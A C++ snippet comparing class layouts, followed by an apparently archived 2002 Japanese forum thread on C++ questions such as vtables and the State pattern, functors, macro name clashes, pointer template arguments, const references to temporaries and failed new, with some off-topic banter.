struct A {explicit A(const char *a) : buf(a) {}
~A() {}
const char *buf;};
struct B {explicit B(const char *a) : buf(a) { }
virtual ~B() {}
const char *buf;};
template<typename T> struct CT :public T{
CT(const char *a)
:T(a){}
~CT() {}
operator const char*() const{return (static_cast<const T&>(*this)).buf;}
};
template<typename T> struct CTV :public T{
CTV(const char *a)
:T(a){}
virtual ~CTV() {}
operator const char*() const{return (static_cast<const T&>(*this)).buf;}
};
int main() {
A a("test"); B b("test");printf("offsetof(A::buf) == %08X\noffsetof(B::buf) == %08X\n", (char *)&a.buf-(char *)&a, (char *)&b.buf-(char *)&b);
CT<A> nn("Test");const char *c_nn = (const char*)(nn);
CTV<A> nv("Test");const char *c_nv = (const char*)(nv);
CT<B> vn("Test");const char *c_vn = (const char*)(vn);
CTV<B> vv("Test");const char *c_vv = (const char*)(vv);
//N-N
printf("(N-N): offsetof(A::buf) == %08X \n", (char *)&nn.buf-(char *)&nn);
printf("(N-N): sizeof(nn) %d \n", sizeof(nn));
printf("(N-N): _ADDRESSOF((const char*)(nn)) - _ADDRESSOF(nn) == %d \n",_ADDRESSOF(c_nn) - _ADDRESSOF(nn));
printf("(N-N): _SLOTSIZEOF((const char*)(nn)) - _SLOTSIZEOF(nn) == %d \n",_SLOTSIZEOF(c_nn) - _SLOTSIZEOF(nn));
//N-V
printf("(N-V): offsetof(A::buf) == %08X \n", (char *)&nv.buf-(char *)&nv);
printf("(N-V): sizeof(nv) %d \n", sizeof(nv));
printf("(N-V): _ADDRESSOF((const char*)(nv)) - _ADDRESSOF(nv) == %d \n",_ADDRESSOF(c_nv) - _ADDRESSOF(nv));
printf("(N-V): _SLOTSIZEOF((const char*)(nv)) - _SLOTSIZEOF(nv) == %d \n",_SLOTSIZEOF(c_nv) - _SLOTSIZEOF(nv));
//V-N
printf("(V-N): offsetof(B::buf) == %08X \n", (char *)&vn.buf-(char *)&vn);
printf("(V-N): sizeof(vn) %d \n", sizeof(vn));
printf("(V-N): _ADDRESSOF((const char*)(vn)) - _ADDRESSOF(vn) == %d \n",_ADDRESSOF(c_vn) - _ADDRESSOF(vn));
printf("(V-N): _SLOTSIZEOF((const char*)(vn)) - _SLOTSIZEOF(vn) == %d \n",_SLOTSIZEOF(c_vn) - _SLOTSIZEOF(vn));
//V-V
printf("(V-V): offsetof(B::buf) == %08X \n", (char *)&vv.buf-(char *)&vv);
printf("(V-V): sizeof(vv) %d \n", sizeof(vv));
printf("(V-V): _ADDRESSOF((const char*)(vv)) - _ADDRESSOF(vv) == %d \n",_ADDRESSOF(c_vv) - _ADDRESSOF(vv));
printf("(V-V): _SLOTSIZEOF((const char*)(vv)) - _SLOTSIZEOF(vv) == %d \n",_SLOTSIZEOF(c_vv) - _SLOTSIZEOF(vv));
return 0;
}
188 :
デフォルトの名無しさん :02/05/25 01:01
Alexsndrescあげ?
189 :
デフォルトの名無しさん :02/05/25 02:48
C++の抽象クラスが保持するvtableって、プログラム実行中に書き換える事ってできるんでしょうか? 自前で関数ポインタの中身を切り替えて処理すれば良いんだけど、 vtableが使えるんだったそっちの方がスマートかなぁって・・・そうでもないか?
実装依存だから、コンパイラ間の互換性は無くなる
>>190 何をやりたいのか、意味がわからん…。『vtableをプログラム実行中に書き換える』って、
それがまさにオーバーライドっちゅうもんじゃないの? 継承じゃ処理できないことなんか?
オーバーライドは実行時に書き換えない
Bridge Pattern 使え・・・ってそーゆーコトじゃないのか?
結局関数ポインタで切り替える事にしました。
>>191 > 実装依存だから
そうかー。自分の知らない間に新仕様とか出てないかなーと思ったんだけど...
>>192 オーバーライドは継承クラス毎にポインタを持っているけど、
自分がやりたいのは、クラスはそのままで、状態遷移的に処理を分岐させたいのだ。
class MyClass {
virtual void Func(void) = 0;
void _FuncA(void){ putchar('A'); }
void _FuncB(void){ putchar('B'); }
void _FuncC(void){ putchar('C'); }
void ChgFunc(void);
};
void MyClass::ChgFunc(void)
{
this->Func = _FuncA;
Func();
this->Func = _FuncB;
Func();
this->Func = _FuncC;
Func();
}
<< 実行結果 >>
ABC
こんな感じ...純粋仮想関数なんでこのままだとインスタンスが作れないけど、概念だけ汲み取ってくれれば...
>>194 Bridge Patternか~、今度調べてみます。
んでも、そんなに大げさにするつもりでもなかったんだけどね。
ところでデザインパターンの本て、実装例がJavaである事が多いですよねぇ。
C++で解説してる物って無いかな?
なけなしの小遣いはたいて買った本が、Eiffelとかいう訳わからん言語で記述されてて、大失敗でした。
196 :
デフォルトの名無しさん :02/05/25 18:54
197 :
デフォルトの名無しさん :02/05/25 18:58
もうEiffelすぎてチンコからマンコがでるぜ(w
>>196 > 概念だけ汲み取ってくれれば...
日本語ぐらい、汲み取ってくれ。
>>195 GoFはC++とSmalltalkだが?
とりあえず、デザインパターンで言うならStateパターンが
一番しっくり来る話なんだろうけど…。
http://www11.u-page.so-net.ne.jp/tk9/ys_oota/mdp/State/index.htm ひとつのクラスで収めるなら、こういう実装が一番か?
class Hoge {
typedef void (Hoge::*FUNC)(void);
FUNC func_;
public:
Hoge() : func_(FuncA) {}
void FuncA(void){ putchar('A'); func_=FuncB;}// 呼び出されたら状態遷移する。
void FuncB(void){ putchar('B'); func_=FuncC;}
void FuncC(void){ putchar('C'); func_=FuncA;}
void Call(void){
(*func_)();
}
};
もしくは、メンバ関数をテーブル化して、呼び出す関数の番号を
状態として持つか。
http://www1.odn.ne.jp/synsyr/prog_cpp0.html スマン。『抽象クラスである』って部分はまるで考慮してない。
というか、この辺の話をすでに分かってて、『vtableでスマートに
いけんか?』ってことなのか。だったら力にはなれんわ。
アフォだった。FuncA,FuncB,FuncCをpublicにしてどうする。こいつらはprivateやね。
Functor、operator()の有用性と使用例について 教えてください。Modern C++ Design 5章読みましたが さっぱりわかりません。
>>203 例えば、
struct Show {
void operator()(int i) const {
cout << i << ' ';
}
};
と定義しておいて、
vector<int> v;
......
for_each(v.begin(), v.end(), Show());
のように使える。
C++標準ライブラリのP136~137に次のような項目があります。
1.関数オブジェクトはスマート関数である。
2.関数オブジェクトはそれぞれ型を持つ。
3.関数オブジェクトは、たいていは通常の関数より高速である。
よっし~はStateパターンを知らないに1000インクリメント。
206 :
デフォルトの名無しさん :02/05/26 08:48
>>195 それだと、現在のFuncが何なのか常に把握しないといけないし、
スレッドセーフじゃない。
this->Func = _FuncA;
としているが、C++の場合、型チェックが一致しないとコンパイルもできない。
ということで
普通にメンバ関数ポインタ使ったほうが安全な気がする。
人工知能の実験とかだったらそれもありかもしれん。
メンバ関数ポインタは型チェックが厳しいのでtemplateと併用した方が吉。
207 :
マクロ逝ってよし :02/05/26 10:42
namespace, class 内のメソッドとして min( ... ) などを 宣言しているのですが(よくやりますよね?) 某ライブラリと組み合わせるときそのライブラリのヘッダで #define min(...) とマクロ宣言されちゃってました。 それでウチのクラスなどの宣言 min(... がすべて置換されてぐちゃぐちゃになり パースエラーが出まくって困っています。 こんなときどうしたら良いでしょうか? マクロ置換はネームスペースも無視しまうのでしょうか?
>>207 そりゃそうでしょ。マクロ置換はC++の文法無視だから。
>>207 C++で#define使ってる某ライブラリとやらが悪い。
#ifdef min #undef min #endif を自前の min 宣言の前につっこんどけ。
>>210 #undef min
の一行で十分でわ?
自分がライブラリ作成者の立場で、マクロ使わんと不便だなーってときは、 どうすべきかね?(テンプレートでもinline関数でも代用できないとして) #define __min(...) ってふうに、アンダーバー付けとくべき?
>>212 >テンプレートでもinline関数でも代用できないとして
例えば?
>>213 『例えば?』って聞くって事は、『そんなことは具体例が出るまでは考える必要はない』ってこと?
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| 実際に切羽つまるまで、ほったらかしにする、と…
\
 ̄ ̄ ̄|/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
( ・∀・) ∧ ∧ < ソンナコト言ってないでしょ!!
( ⊃ ) (゚Д゚;) \____________
 ̄ ̄ ̄ ̄ ̄ (つ_つ____
 ̄ ̄ ̄日∇ ̄\|ThinkPad|\
 ̄ ========= \
>>213 代用できないマクロの具体例は、Modern C++ Design 57ページ、『タイプリスト生成の単純化』でどうよ?
>>212 頭にアンダースコアを付けるのはまずいっしょ。オレなら MYLIB_MIN とか、
とにかく他とはバッティングせず、一目でマクロとわかる名前を付けるな。
WinならGUID生成させて頭につける。ほぼ衝突しない。
219 :
デフォルトの名無しさん :02/05/26 12:17
テンプレート引数で何かのポインタ型を使ってるとき、それに NULL を 渡せないという仕様になっているのはなぜ? たとえば template< char *Ptr> class Hoge { … }; があったとき、Hoge< NULL > はコンパイルできないんですが。
>>219 NULLの型がchar*として定義される実装ならそれで通るんじゃないの?
もし
#define NULL 0
とかだったら template<int> Hoge ... が無いから、そりゃ当然エラー。
>>219 なぜなら NULL は 0 に置換されて、0 は int なので。
なぜ暗黙にヌルポインタに変換されないのかは知らんけど。
Hoge<(char*)NULL> とすればコンパイル出来ます。
>>221 Hoge<(char *)0> もコンパイルできないです
>>222 あり? g++ 3.0.4 ではコンパイルできませんでした。
`0' is not a valid template argument
it must be the address of an object with external linkage
というようなエラーが出ます。
C++Builder6はコンパイル出来ました。ちょい調べてみる。
>>225 VC++ と Bcc では通った。ただし VCはHoge<NULL>でも通ってしまう。
DigitalMarsは内部コンパイラエラー。gcc は2.95でもダメだた。
つーか Hoge<"aaaa"> とかすらコンパイルエラーになると
思うんだけど、char*を取るtemplateってどうやって使うものなん?
探し出した。これかな。
14.3.2 Template non-type arguments
1- A template-argument for a non-type, non-template template-parameter shall be one of:
以下略。
an integral constant-expression of integral or enumeration type に該当しそうな気もするんだけど、しないのかもしんない。ポインタは integral ではないのかな。ないのかも。
>>226 >つーか Hoge<"aaaa"> とかすらコンパイルエラーになると
それは、はっきり書いてある。
-2- A string literal is not an acceptable template-argument because a string literal is an object with internal linkage.
引用元 www.kuzbass.ru/docs/isocpp/template.html
228 :
デフォルトの名無しさん :02/05/26 13:26
Ruby!!!!!!!!!!!!!!!1 なんでみんなRubyを貶すのかなー? もしかして劣等感?僻んでる? 日本発の言語で世界に評価されているのはRubyしか存在しないんだから みんなでRubyを盛り上げてC++やDelphiなんて、プププのプーってぐらいに しなきゃ。 実際今まで10年ぐらいプログラミングしてきた俺だけど、Rubyより優れた 言語に出会った事がないよ。 やっぱり新しい言語は優れているんだろうね。
>>228 >>やっぱり新しい言語は優れているんだろうね。
そんなあなたにはC#をお勧めします(藁
>>227 そう、だから template<char*> って一体いかなる使い道があるのかと思って。
char c;
int main() {
Hoge<c> aaa;
...
}
なんてのは嫌ぞ。
× Hoge<c> aaa; ○ Hoge<&c> aaa;
char* p = "ABC"; Hoge<p> は通るみたい。
>>232 g++ では通りませんでした。char p[] = "ABC"; なら通ります。
C++ の仕様的には、
>>224 に出てるエラーが言ってるように、
「外部リンケージを持つオブジェクトのアドレス」、つまり定数でなくては
なりません。
232 の p は変数なので、まあ通らないのは仕方がないかとも思うんですが、
定数である (char *)0 くらいはコンパイルできてもよいんじゃないかと。
元々は次のようなコードを書きたかったのです。
template<class X, const char *Name> class Hoge {
public:
void printName() {
if (Name) {
cout << Name << endl;
} else {
cout << typeid(X()).name() << endl;
}
}
};
>> 205 Stateパターンぐらい知ってるなもし。 >> 206 > スレッドセーフじゃない そうかー、仮想関数って全インスタンスで共通だもんね。なるほどなるほど。 > 現在のFuncが何なのか常に把握しないといけないし 「glBegin ~ glEnd」のような感じで使うので、これに関してはそれでも良いのでした。 そうゆう意味では、「状態遷移」という表現は不適切だったカモ。
とりあえず、とてもスマートとは言えないけど、 char dummy; template<class X, const char *Name = &dummy> class Hoge { public: void printName() { if (Name != &dummy) { [以下略] とやることで凌ぎました。
>>233 それって、const char *Name は printNameの関数引数にしちゃいかんの?
なんでわざわざテンプレート引数にする?
>>236 printName() 呼び出す度に、引数指定したくないからだろ。
適当なメンバ変数作っといて、インスタンス生成する時に指定すりゃ
いいと思う。
238 :
デフォルトの名無しさん :02/05/26 17:24
C#っていうか.NET Framework SDK(VS.NETにあらず)の問題なのですが、 吐かれた.exeファイルをエクスプローラのプロパティで見たときに表示される 「バージョン情報」に情報を書き込むにはどうすればよいのでしょうか? たぶんテキストのリソースを作るのでしょうけど、方法と書式が…。 「バージョン情報」タブを非表示にさせる方法もあれば、お願いします。
死ぬほどスレ違い 氏ね
うぇ~ん、誤爆した~。(泣 C#スレに書き直します…。
>>221 > NULLの型がchar*として定義される実装ならそれで通るんじゃないの?
その実装は ANSI C++ に準拠してませんな。
>>204 とても分かりやすい説明 ありがとうございました。
亀レススマソ
243 :
名無しさん :02/05/27 10:57
初心者質問です。 class T { int n1; int n2; public: T():n1(0),n2(0){} T(int i,int j):n1(i),n2(j){} }; なんていうクラス定義からオブジェクトを生成するとき T obj; //デフォルトコンストラクタ T obj(10,20); //引数付きコンストラクタ としますが、以下の記述も文法上正しいのでしょうか? T obj = T(); T obj = T(10,20);
>>243 試せばいいものをわざわざ聞きに来るなよぅ。
基本的にはだめ。
でも
T2 obj=3;
とかは許容されてたりする。
T2(int)
扱い。
245 :
名無しさん :02/05/27 11:00
if(cin >> i)のような記述で cin >> i の部分が暗黙のうちに bool値に変換され、解釈される仕組みが分かりません。 どなたかご存知でしょうか?これって常識ですか?
>>245 常識です(笑)
適当にC++の入門書開いてiostreamについての説明を読むがよろし
247 :
名無しさん :02/05/27 11:08
>>244 どうもです。
ごもっともなんですが。。
実は、BCC5.5.1で試したところコンパイルできたので、
これも正しいのかなと思い、いろいろ本を見たのですが、
見つからなかったもので。文法上は駄目なんですね。
使わないことにします。
>>245 cinには変換関数 bool() が定義されているんじゃない?
>>247 class T
{
int n1;
int n2;
public:
T(int i = 0, int j = 0) : n1(i), n2(j){}
};
のようにすると簡単になります。この場合でも()と書くとエラーです。
>>244 駄目じゃないって。
>>249 これも。
さらに
int a = int();
と書くと0で初期化される。
>>243 コピーコンストラクタが使われる。試しに class T に、
private: T( const T& );
を追加してコンパイルしてみるとよい。
>>248 operator void *() じゃなかったかな。直接 bool に変換しちゃうと、
いろいろ問題が発生するはず。
253 :
デフォルトの名無しさん :02/05/27 12:18
Heap block at 0410E2C8 modified at 04112D00 past requested size of 4a30 VC++でこんなログを残してプログラムが終了します。 初心者なのでどういう意味かわかりません。 どうしたら、回避できるのでしょうか... ちなみにDirectSoundのセカンダリバッファをリリースしたところで 発生します。
>>245 cinはistream型でistreamはtypedef basic_istream<char, char_traits<char> > istream;。
basic_istreamはbasic_ios<E, T>をvirtual public で継承している。
basic_iosには operator void *() const;が定義されていて、これはbasic_ios::fail()がtrueの場合
nullポインタを返す。
basic_isreamのoperator>>の返り値はbasic_istream&でこれがvoid*に変換されて最終的には
basic_ios::operator void*()が呼ばれる。
>>253 heap block の意味は分かる? at ~ というのはアドレスを表している。
そして、past ~ は、「~を過ぎたところで」という前置詞だ。さあ、
少し頭を使ってメッセージの意味を考えてみよう。
0x0410E2C8におけるヒープ領域は0x04112D00に修正された
257 :
名無しさん :02/05/27 14:07
243です
>>252 コピーコンストラクタをprivateにするとコンパイル
できないので、コピーコンストラクタが呼ばれてるこ
とがわかりました。結局、
T obj = T();
とした場合、まずクラスTのデフォルトコンストラクタが
呼ばれて一時オブジェクトが作成され、この一時オブジェクト
がコピーコンストラクタの引数に使われて obj が初期化
されるということですね。わかりました。皆様ありがとう
ございました。
T &obj=T(); なら一時オブジェクトの寿命がのびてもっといい
>>258 ふつう、const が必要にならないか?
260 :
デフォルトの名無しさん :02/05/27 19:38
ポインタって使うと例えばどういうメリットがあるんですか?
ソートする時クラスのインスタンスや構造体ごと並び替えるより ポインタだけ付け替えて並び替えた方が速い。
264 :
デフォルトの名無しさん :02/05/28 00:40
何も表示しない出力ストリームってないでしょうか? デバッグのときだけ、メッセージを表示させたいんです。 たとえば、 #ifdef __DEBUG #define cdbg std::cerr #else #define cdbg cnull //cnullが何も表示しないストリーム #endif として、 cdbg << "Debug Message" << std::endl; みたいな感じで使いたいんです。 自分で書いてもみたんですが、 gcc-2.xxでないとコンパイルが通らない(gcc-3.xxだとダメ)という ヘタレコードしか書けませぬ。 とにかくデバッグ時にだけメッセージを表示させたいのですが、 なにかいいアイデアなどありませんでしょうか?
265 :
デフォルトの名無しさん :02/05/28 00:41
HSPとC++どっちがにんきある???
>>264 定石のdebug_printfじゃ駄目なの?
>>264 a.out > /dev/null
test.exe > nul
cnullを自分で作れ
カナリ強引だがコレでどーよ。 class cnull{ public: template <typename T> cnull& operator<<(T t) {return *this;} };
あぁ、std::endl とか使えねぇや、鬱氏。
ofstream cnull("/dev/null");
>>263 const な参照は一時オブジェクトを束縛することができる (標準仕様)。
VC++ だと const でない参照でも OK みたいで、次のようなコードも
コンパイルできてしまう。
struct X { int i; };
void foo( X& x ) { x.i = 0; }
int main() {
foo( X() );
return 0;
}
たしかに一時的なワークスペースとして使うぶんには便利かもしれんが、
バグを引き起こしやすいし移植性も無くなるので止めてほしい。
>struct X { int i; }; >void foo( X& x ) { x.i = 0; } >int main() { >foo( X() ); >return 0; >} これは一つの式内だから標準仕様でもいいはず X &x = X() ; は const X &x = X() ; でなければ一時オブジェクトが 束縛されることを保障されないはず bcc 5.6で試したらX &x=X();も 異常な動作はしなかったけども
>>272 >const な参照は一時オブジェクトを束縛することができる (標準仕様)。
初耳。紫蘭買った。その参照がスコープから外れるまで?
>>274 > その参照がスコープから外れるまで?
そう。C++ 第3版 「5.5 リファレンス」のところに詳しく書いてあるよ。
276 :
デフォルトの名無しさん :02/05/28 22:27
int main() { int i, n; puts("<html><title>(゚Д゚)</title><body bgcolor = black>"); for(n = i = 0;i < 0xffffff;i+=0xffff,n++) printf("<font style = \"font:%02dpt; color:#%06X;\">(゚Д゚)</font>\n",n,i); puts("</body></html>"); return 0; }
printf("<font style = \"font:%02dpt; color:#%06X;\">(゚Д゚)</font><br>\n",n,i);
int main() { int i, n; for(i = 0;i < 10;i++)puts("<br>"); puts("<html><title>(゚Д゚)</title><body bgcolor = black><center>"); for(n = i = 0;i < 0xffffff;i+=0xffff,n++) printf("<font style = \"font:%dpt; color:#%06X;\">(゚Д゚)</font><br>\n",n,i); for(;i >= 0;i-=0xffff,n--) printf("<font style = \"font:%dpt; color:#%06X;\">(゚Д゚)</font><br>\n",n,i); puts("</center></body></html>"); for(i = 0;i < 10;i++)puts("<br>"); return 0; }
>>275 成程!なんとなぁく理解したような気がしないでもない。
理解をさらに深めるために質問、例えばこんなのは出来るんでしょうか?
const A& a = i > 0 ? A(1) : A(0);
というか試してみろって感じですな。ではまた後ほど。
全然おっけー
281 :
デフォルトの名無しさん :02/05/28 22:45
const char *text = "リテラル"; の意味を教えてくだされー
>>281 本 を 読 め
子 一 時 間 読 め
>>280 出来ましたです。こりゃ便利。この書き方は何かの時に役に立ちそう。
284 :
デフォルトの名無しさん :02/05/28 22:52
inlineって数回しか呼ばれない関数とかに使うんですか?
>>284 inlineは型チェック付きのマクロと思えばだいぶ近い。
287 :
デフォルトの名無しさん :02/05/28 22:58
関数呼び出しのコードを関数本体に書き換える指定子ですよね?
試してみたら違ったよ! VC6,VC7: > const A& a = i > 0 ? A(1) : A(0); コピーコンストラクタが呼ばれる(インスタンスは2回作られる) > const A& a = A(1); コピーコンストラクタは呼ばれない(インスタンスは1回作られる) g++2.95.3,g++3.0.4: > const A& a = i > 0 ? A(1) : A(0); > const A& a = A(1); コピーコンストラクタは呼ばれない(インスタンスは1回作られる) gccのほうが偉い!
三項演算子はリファレンスを返してくれればいいはずだが・・・・
>>283 いままでも無意識にやってたんじゃないかと思うけど、関数からの戻値が
オブジェクトそのものの時とか、この書き方は必須だよね。こんな感じ。
class X { };
X foo() { x = X(); return x; }
int main() {
const X& x = foo();
}
291 :
デフォルトの名無しさん :02/05/28 23:10
ある時以外参照にconstを付けないのはドキュソ!決定!
メンバ変数でそのテクは使えませんでした・・・
short &a; short& a; short & a; 全部同じですか?
>>289 bool f;
int i = f ? 0 : 1;
でリファレンスが返ってくるのは、ちとイヤン
>>290 まともなコンパイラなら
X x = foo();
と書いてもほとんど処理内容は同じ。
>>296 え、まじで全部同じなの?
なんでそんなあいまいにしてあるんだろ?
>オブジェクトそのものの時とか、この書き方は必須だよね。こんな感じ。 ああああ、C++10年目にして目からもろこが
299 :
デフォルトの名無しさん :02/05/29 00:26
ばん違いかもしれませんがvc++.netの良書ってあります?
10年前のC++と今ではだいぶ違うような
>>281 何でポインタにリテラル値を入れられるのか疑問だったりして
コピーコンストラクタがヘタレな場合は 処理が同じとは限らない
304 :
デフォルトの名無しさん :02/05/29 03:44
プログラムの高速化をするにはたとえばどんな方法がありますかねぇ?
プロファイリング→時間消費してる所を最適化
マシンの高速化、これ最強
307 :
デフォルトの名無しさん :02/05/29 04:39
プロファイリングってどうやってすればいいんですか?
証拠や犯行当時の状況から 犯人像を空想すればいい
309 :
デフォルトの名無しさん :02/05/29 04:42
それ、違うと思いますけど...
てめえ、マシンを買い換えればいいって俺が書いてんだろうがゴルァ!!
>>297 1 + 2
1+ 2
1 +2
1+2
どれも同じなのと一緒
そういえば俺も int* a と int *a の違いに悩んだっけ・・・(´∀` ) 今から考えるとアフォだ。
すまない、直リンしちまったい…ここリンクフリーかねぇ
>>315 int* p, i; でどつぼにはまる罠
リンク先面白そうなのでブックマークしたけどまだ世界が違いすぎる・・・
const Hoge* pとHoge* const pの違いとか。
320 :
デフォルトの名無しさん :02/05/29 13:20
なぜに以下のコードはコンパイル不能なのでしょうか? #include<iostream> class B{ public: void Hoge(int i){cout<<"hoge i="<<i<<endl;}; }; class A:public B{ public: void Hoge(){cout<<"hoge"<<endl;}; }; main() { A a; a.Hoge(5); }
using B::Hoge;
>>321 ぅぉ・・・320じゃないけど知らなかったっす。
Effective C++ 50項の最後の例を読むべし。 まあ、C++ やってる人は一度はこの問題にハマってると思う (w
>>321 ども。
でも何でこんな面倒くさい仕様になっちょるんでしょう?
親クラスと同名のメソッドを定義するのは 大部分はツリーの把握ミスだったり、 単なる設計ミスだったり、あんまり良い行為とは言えないから
なるほDON
>>325 黙ってコンパイルを通すと、意図せぬ結果をもたらす可能性が高いものね。
発見しにくいバグよりは、明示的な宣言必須の方が有り難い。
(というのが C++ の思想なんだと思うよ)
328 :
名無しサンプリング@48kHz :02/05/29 14:21
クラスを継承して元のクラスの1つのメンバ関数を オーバーライドしたいのですが、元のクラスのコンストラクタ では引数を渡して初期化処理をしています。 その部分を元のクラスのままにしておきたいのですが 継承したクラスのコンストラクタはどのように書くべきでしょうか?
Derived(int x) : Super(x) { }
330 :
名無しサンプリング@48kHz :02/05/29 14:56
>>329 即効で出来ちゃーた…
ありがとうございます!
331 :
デフォルトの名無しさん :02/05/29 15:27
情けない質問ですんまそん。 なんで cout が通らないんでしょうか。gcc 2.95 です。 独習C++ を読んでます。 #include <iostream.h> main () { int i; cout << "abo-n\n"; }
>>331 どう通らないのか書いてほしいです。
プログラム板一同。
すんまそん。やっぱlinkerの問題なんでしょうか。 /tmp/ccSlq0KV.o: In function `main': /tmp/ccSlq0KV.o(.text+0xf): undefined reference to `cout' /tmp/ccSlq0KV.o(.text+0x14): undefined reference to `ostream::operator<<(char const *)'
>>333 古いiostream.hは使わないようにしませう
-lstdc++とか?
336 :
デフォルトの名無しさん :02/05/29 15:37
あるプログラム系のHPで newが失敗したときにnullを返すのは時代錯誤もいいところ と言っていたのですが、これ一般論ですか? つまりnewするところは常に例外を補足するようにしろということ ですよね? でも慣れたプログラマでさえ完全に資源漏れが起きないように 例外処理を書くのが難しい現状では、ちょっと理想論ぽく聞こえ るんですけど...。 手軽にやるには、if (!(Foo *foo = new Foo(...)))はまだ健在ですよね?
>>336 データ用の変数にエラーを示す値を入れるのはおかしい。
って話じゃないの。
>>336 そんなあなたのために new(std::nothrow)
俺はそれ以前にnewの結果チェックすらしてないんですが、逝ってよし? いまだかつてnew失敗に出くわしたことないんだけど。
手軽にやるには、if (!(Foo *foo = new Foo(...)))はまだ健在ですよね? Foo* foo = new Foo(...); ... の方が遙かに手軽な罠
>334 find かけてみたところ出てきたのはこれだけでした。 /usr/include/g++/iostream.h 9675bytes Copyright (C) 1993 Free Software Foundation gcc のもっと新しいヴァーヂョン入れろちゅー事ですか? >335 通ったァァァァァァッ C++モードの時はこげなスイッチ必要だったんですか。 man gcc でみたら拡張子 C とか cc にすれば++モードになるみたいな 事書いてあったの鵜呑みにしてますた。ショックです。ありがとですた。
343 :
デフォルトの名無しさん :02/05/29 15:49
>>339 >>340 いや、あの、私そこまで漢ができてないんですけど。
newって開発中は絶対0を返さないくせに、クライアントの前では
平気で0を返しますよね...
>>343 っていうかnewの失敗って回復できるの?
失敗をthrowしてプログラム終了するか
不正アクセスをthrowして終了するかの違いしかないような気が・・・
>>336 んん? new するたびにいちいち NULL かどうかを判定するより、
new handler を使ったほうがはるかに楽だと思うけど。
>>343 いや、そうじゃなくて。
例外をキャッチ出来ればそのまま不正として関数から抜けることも出来るし、
キャッチしなければ勝手に死んでくれるし、
>>346 NULLポインタ引きずってえらいことになるよりはスマートですわ。
>>331 gcc -o test test.cpp こうやってるに 26000knk
正しくは
g++ -o test test.cpp
>>344 まず回復できないと思ったほうがよいね。ただいきなりクラッシュしちゃうと
お客さんも怒るので、エラーハンドラで出来るかぎりのシャットダウン処理を
した後、何か言い訳じみたことを表示してから落ちると。
∧||∧ ( ⌒ ヽ 。oO( もうお呼びでなかったのね… ) ∪ ノ ∪∪
もしかして、336は Foo* foo; try { foo = new Foo(...); } catch(std::bad_alloc) { 何かエラー } 復帰及び処理続行 って考えてるのか? try { foo = new Foo(...); 処理続行 } catch (std::bad_alloc) { } catch (何か) { } 復帰できないエラーは後ろでいっしょくたにして処理する方がいいよ
>348 …そんなコマンドがあったんですね。スイッチ書かないでいいんで 重宝するです。ありがとうです。cpp とか gpp なんてコマンド叩いて みて無いナァと思ってたです。まさかまんまの名前とは。 ママはこんなこと教えてくれなかったYO。ウワァァン
353 :
336==343 :02/05/29 16:17
>>342 まぁ、そういうことです。
趣旨としては、nullを返すことが時代錯誤というよりもbad_allocを投げない
ことが時代錯誤といいたいんでしょうけど。
>>345 new handlerは、operator newで自前のメモリ割り当てのフレームワークを
作りたいときには便利でしょうが、単純に特定のリソースの割り当てに
失敗したときに特定の処理を行いたいときには、いちいちset_new_handler()
しないといけないわけですよね。
でもって、
>>346 キャッチしないで自滅する前に、やはり書き込み中のファイルはフラッシュ
したいし、メッセージくらいは表示したいわけです。
あ、でもどうせ死ぬんだから例外処理をさぼってメモリリークもへったくれも
ないわけか...
>>353 今時の仮想記憶を備えたシステムでnewが失敗するということはそうとうまずい事態で、
中途半端なクリーンアップ処理は余計に事態を悪化させる可能性があるんじゃないか?
実は、私はプログラムを独学しています。 だけど、何度聞いてもコマンドライン引数がわかりません。 判っている所(argcはコマンドラインの数を取得する :argvはコマンドライン引数のファイル名を格納する。) あとMS-DOSのWIN98ぐらいのマニアルを読みました。 でも、まだわかりません。 そこで、人に聞いた過去ログをここに 掲載しておきます。 これを、もとに まっと判りやすく 噛み砕いて 教えてください。 こんな、十度の馬鹿を 誰か助けて。 「のままVC++から実行してる ならVC++ならmain引数を設定して あげないといけないよ。 もしくは、DOSプロンプトで実行するか。 試して欲しいのはwin2000か XPならcommand.com立ち上げて、 コマンドプロンプト まずはわかりやすいフォルダを Cドライブの直下に作って そこにVC++で作った実行ファイルをコピー そこに移動して(cd c:\temp) a.exe file1 file2 そしたらif(argc!=3)は 入らないはず で、できなかった原因は、 VC++から実行すると 単に 実行ファイル.exe だけ実行されて、引数はないから argcは1になるだから if(argc!=3) が真になってexit()が実行されて プログラムが終了。 解決方法として、1. VC++のmain引数の設定をする もしくは 2.コマンドプロンプトから 自分で引数を指定して実行する いま、手元にVC++の環境がないから 設定がわからないけどwebで調べれば あるはず。。」 読む本はどんな本 をよんでいいか 神の誤導きを! これから、構造体向かいたいのに OS WIN XP Ver.Visual C++6.2
ザ・ワールド!!時よ!とまれぃぃい!!
以下、二次方程式pow(x,2)-3x+1=0の解を求めるプログラムを作成しました。 解の公式は使用せず、与式をx=(pow(x,2)+1)/3に変形して求めるものです。 もう少し工夫すれば、配列や変数nを使わずに済みそうなのですが、わかる方、ヒント頂けませんか? #include <stdio.h> #include <math.h> void main(void) { int n; double x[1000],ep; ep=pow(10,-3); x[0]=1.00; n=0; while(fabs((x[n+1]-x[n]))>=ep){ x[n+1]=(x[n]*x[n]+1)/3; n++; printf("%f\n",x[n]); } }
359 :
デフォルトの名無しさん :02/05/29 19:08
頼む一次法的式にしてくれ 二児は忘れた
こんな感じで・・・もう少しなのですが・・ #include <stdio.h> #include <math.h> void main(void) { double x1,x2,ep; ep=pow(10,-5); x1=1.00; x2=(x1*x1+1)/3; while(fabs(x2-x1)>=ep){ x2=(x1*x1+1)/3; x1=x2; printf("%f\n",x1); } }
スマソです。
365 :
馬鹿☆栗子 :02/05/29 19:22
<<363 栗子に教えて
そして時は動き出す・・・
#include <iostream> using namespace std; int main() { double x1 = 1.0, x2 = (x1 * x1 + 1)/3, ep = pow(10, -5); while(fabs(x2 - x1) >= ep) cout<<(x1 = x2 = (x1 * x1 + 1)/3)<<endl; }
すいません・・・出来ました。 c++とcの区別ついてなくてスマソ・・・
368 C++ int main() {・・・retrun 0;} void main() {・・・} C int main() {・・・retrun 0;}
retrun
356は、コマンドライン引数の ・意義(なぜ使うのか) ・プログラム上の扱い方 ・DOS、あるいは VC++での指定方法 のどれがわからないんだろう。 どうも2番目は分かっているような感じだけれど。
372 :
デフォルトの名無しさん :02/05/29 22:16
